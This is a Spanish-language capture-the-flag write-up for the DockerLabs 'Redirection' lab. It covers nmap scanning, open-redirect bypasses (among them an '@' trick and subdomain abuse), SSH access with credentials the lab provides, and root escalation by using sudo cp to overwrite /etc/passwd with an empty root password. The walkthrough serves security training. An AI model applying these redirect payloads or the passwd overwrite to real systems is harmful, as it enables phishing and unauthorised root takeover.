> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/redirection.md). # Redirection ### **Despliegue de la Máquina:** #### **1. Descarga:** Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Redirection** y pulsamos el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución. #### **2. Descompresión:** Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `redirection.zip`: ```bash 7z x redirection.zip ```

#### **3. Ejecución:** Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `redirection.tar`: ```bash bash auto_deploy.sh redirection.tar ```

*** ### **Reconocimiento:** #### **1. Verificación de Conectividad:** Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa: ```bash ping -c 1 172.17.0.2 ```

#### **2. Escaneo de Puertos:** Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts ``` **Explicación de los parámetros:** * `-p-`: Escanea todos los puertos TCP, del 1 al 65535. * `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados. * `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP. * `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo. * `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso. * `-n`: Evita la resolución DNS, usando solo direcciones IP. * `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible. * `-oG allPorts`: Guarda los resultados del escaneo en formato grepable, en el archivo `allPorts`. **Resultados del escaneo:** * **Puerto 22:** `SSH`. * **Puerto 80:** `HTTP`.

#### **3. Escaneo Detallado:** Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos: ```bash nmap -p22,80 -sCV 172.17.0.2 -oN targeted ``` **Explicación de los parámetros:** * `-p22,80`: Especifica los puertos a escanear. * `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`). * `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`. **Resultados del escaneo:** * **Puerto 22:** `OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)`. * **Puerto 80:** `Apache httpd 2.4.62 ((Debian))`.

#### **4. Análisis del Servicio Web:** Accedemos al servicio HTTP a través del navegador utilizando la siguiente URL: `http://172.17.0.2`. La interfaz nos presenta varios laboratorios diseñados para practicar la vulnerabilidad de **Open Redirect**.

*** ### **Explotación:** #### **1. Primer Laboratorio:** Accedemos al primer laboratorio pulsando el botón "Ir a Laboratorio 1" en la página principal, o directamente mediante la siguiente URL: `http://172.17.0.2/laboratorio1/`. Dentro del laboratorio, encontramos un botón que dice "Ir a otro sitio". Al colocar el cursor sobre él, observamos que la URL de destino es: `http://172.17.0.2/laboratorio1/redirect.php?url=http://google.com`.

Modificamos el parámetro `url` para redirigir a otro sitio externo, por ejemplo: `http://172.17.0.2/laboratorio1/redirect.php?url=https://dockerlabs.es`.

Al acceder a esta URL, comprobamos que la redirección se realiza correctamente. Esto confirma que el parámetro no está siendo validado, evidenciando una vulnerabilidad de tipo **Open Redirect**.

#### **2. Segundo Laboratorio:** Accedemos al segundo laboratorio desde el botón "Ir a Laboratorio 2" o mediante: `http://172.17.0.2/laboratorio2/`. El botón "Ir a Google" redirige a: `http://172.17.0.2/laboratorio2/redirect.php?url=https://www.google.com`.

Si intentamos modificar el parámetro como hicimos en el laboratorio anterior, la redirección no se ejecuta. Sin embargo, al aplicar una técnica de evasión utilizando el símbolo `@`, logramos redirigir a otro dominio: `http://172.17.0.2/laboratorio2/redirect.php?url=https://www.google.com@dockerlabs.es`.

La redirección se realiza correctamente, lo que demuestra que la validación es insuficiente y la vulnerabilidad persiste.

#### **3. Tercer Laboratorio:** Accedemos al tercer laboratorio desde el botón "Ir a Laboratorio 3" o directamente mediante: `http://172.17.0.2/laboratorio3/`. La URL de redirección es: `http://172.17.0.2/laboratorio3/redirect.php?url=https://www.google.com`.

Este laboratorio está mejor configurado: no permite redirecciones a dominios externos, pero sí a subdominios del dominio permitido. Por ejemplo, probamos con: `http://172.17.0.2/laboratorio3/redirect.php?url=https://ejemplo.google.com`.

Aunque el subdominio no existe, la redirección se intenta, lo que confirma que la validación permite subdominios.

Probamos ahora con un subdominio válido: `http://172.17.0.2/laboratorio3/redirect.php?url=https://maps.google.com`.

La redirección se realiza correctamente, lo que indica que hemos completado satisfactoriamente este laboratorio.

#### **4. Obtención de Credenciales SSH:** Al completar los tres laboratorios, hacemos clic en el botón "Clic Aquí Cuando hayas Completado los Laboratorios". Se nos muestran las credenciales para acceder por SSH a la máquina objetivo: `balu:balulero`.

Nos conectamos por SSH utilizando las credenciales proporcionadas: ```bash ssh balu@172.17.0.2 ``` Confirmamos que estamos dentro de la máquina como el usuario `balu`.

*** ### **Escalada de Privilegios:** #### **1. Escalada a balulito:** Mientras exploramos los directorios del sistema, encontramos un archivo llamado `secret.bak` ubicado en la raíz.

Consultamos su contenido con el siguiente comando: ```bash cat secret.bak ``` **El archivo nos proporciona nuevas credenciales:** `balulito:balulerochingon`.

Utilizamos estas credenciales para cambiar al usuario `balulito`: ```bash su balulito ``` Confirmamos que estamos dentro del sistema como `balulito`.

#### **2. Análisis de Privilegios Sudo:** Ejecutamos el siguiente comando para listar los privilegios disponibles: ```bash sudo -l ``` Observamos que el usuario `balulito` puede ejecutar el binario `/bin/cp` como `root` sin necesidad de contraseña.

#### **3. Escalada a Root (Modificando el Archivo /etc/passwd):** Consultamos el contenido actual del archivo `/etc/passwd`: ```bash cat /etc/passwd ```

Copiamos el contenido y lo pegamos en un nuevo archivo dentro del directorio `/tmp`, donde tenemos permisos de escritura. Creamos el archivo con: ```bash nano passwd ```

Localizamos la línea correspondiente al usuario `root`: ```bash root:x:0:0:root:/root:/bin/bash ``` Y la modificamos eliminando la `x`, que representa la existencia de una contraseña cifrada en `/etc/shadow`. La línea queda así: ```bash root::0:0:root:/root:/bin/bash ```

Guardamos el archivo y lo sobrescribimos en su ubicación original utilizando el binario `/bin/cp`: ```bash sudo -u root /bin/cp /tmp/passwd /etc/passwd ``` Una vez sobrescrito el archivo, accedemos como usuario `root` sin necesidad de contraseña: ```bash su root ``` Confirmamos que hemos escalado privilegios correctamente y ahora tenemos control total sobre la máquina objetivo.